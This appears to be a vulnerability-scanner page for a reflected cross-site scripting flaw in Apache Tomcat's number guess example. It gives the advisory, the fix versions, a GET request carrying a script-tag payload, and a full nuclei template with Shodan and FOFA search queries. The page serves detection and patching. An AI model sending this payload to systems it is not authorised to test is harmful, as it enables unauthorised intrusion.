Apache Tomcat - Cross-Site Scripting

mediumseverity

4.1%likelihood of exploitation, next 30 days

91%of all CVEs are less likely

Readycheck to confirm it

Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) vulnerability in the number guess example for Apache Tomcat. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.22, from 10.1.0-M1 through 10.1.55, from 9.0.0.M1 through 9.0.118, from 8.5.0 through 8.5.100, from 7.0.0 through 7.0.109. Other versions that have reached end of support may also be affected. Users are recommended to upgrade to version 11.0.23, 10.1.56 or 9.0.119, which fix the issue.

Impact

Remote attackers can execute scripts in users' browsers, potentially stealing cookies or performing actions on behalf of users.

Fix

Upgrade to versions 11.0.23, 10.1.56, or 9.0.119 or later.

How to confirm it

Send: GET {{BaseURL}}/examples/jsp/num/numguess.jsp?guess=5&hint=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "<script>alert(document.domain)</script>" and "Number Guess" AND contains in content_type "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2026-50229 -u <target>

The full check

id: CVE-2026-50229

info:
  name: Apache Tomcat - Cross-Site Scripting
  author: yshahinzadeh,amirmsafari
  severity: medium
  description: |
    Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) vulnerability in the number guess example for Apache Tomcat. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.22, from 10.1.0-M1 through 10.1.55, from 9.0.0.M1 through 9.0.118, from 8.5.0 through 8.5.100, from 7.0.0 through 7.0.109. Other versions that have reached end of support may also be affected. Users are recommended to upgrade to version 11.0.23, 10.1.56 or 9.0.119, which fix the issue.
  impact: |
    Remote attackers can execute scripts in users' browsers, potentially stealing cookies or performing actions on behalf of users.
  remediation: |
    Upgrade to versions 11.0.23, 10.1.56, or 9.0.119 or later.
  reference:
    - https://lists.apache.org/thread/wlt2no8bw45zl1w8byop4zfqphldf5j0
    - https://www.cve.org/CVERecord?id=CVE-2026-50229
    - https://tomcat.apache.org/security-11.html
    - https://www.herodevs.com/vulnerability-directory/cve-2026-50229
  classification:
    cwe-id: CWE-80
    cve-id: CVE-2026-50229
    epss-score: 0.04091
    epss-percentile: 0.90818
  metadata:
    verified: true
    max-request: 1
    vendor: apache
    product: tomcat
    shodan-query: html:"Apache Tomcat"
    fofa-query: app="APACHE-Tomcat"
  tags: cve,cve2026,apache,tomcat,xss

http:
  - method: GET
    path:
      - "{{BaseURL}}/examples/jsp/num/numguess.jsp?guess=5&hint=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert(document.domain)</script>'
          - 'Number Guess'
        condition: and

      - type: word
        part: content_type
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from